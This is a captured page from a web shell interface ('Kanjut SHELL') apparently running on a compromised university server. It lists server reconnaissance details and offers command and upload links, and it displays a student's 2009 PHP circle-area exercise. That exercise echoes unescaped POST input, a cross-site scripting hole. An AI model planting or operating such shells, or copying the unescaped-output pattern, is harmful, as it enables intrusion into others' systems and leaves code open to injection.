Kanjut SHELL
Server IP : 172.16.15.8  /  Your IP : 13.58.38.184
Web Server : Apache
System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 7.2.24
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home/slcebula/public_html/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home/slcebula/public_html/circle1.php
<!--
Name:		Lee Cebula
Date:		2/2/09
Instructor:	Dr. Wang
Title:		circle1.php
Goal:		Recieve radius value and output area

-->


<HTML>
<HEAD>
<TITLE>
Variable Example
</TITLE>
</HEAD>
<BODY>
<CENTER>
<FONT COLOR=blue>
<H2>
Calculate the Area of a Circle
</H2>
</CENTER>
</FONT>
<FONT SIZE=4 COLOR=red>

<?php
	$radius = $_POST["radius"];
	$area = M_PI*($radius*$radius);
	$a = number_format($area,2);
	print ("radius= $radius
		<BR>
		area= $a");
?>
</FONT>
</BODY>
</HTML>

Stv3n404 - 2023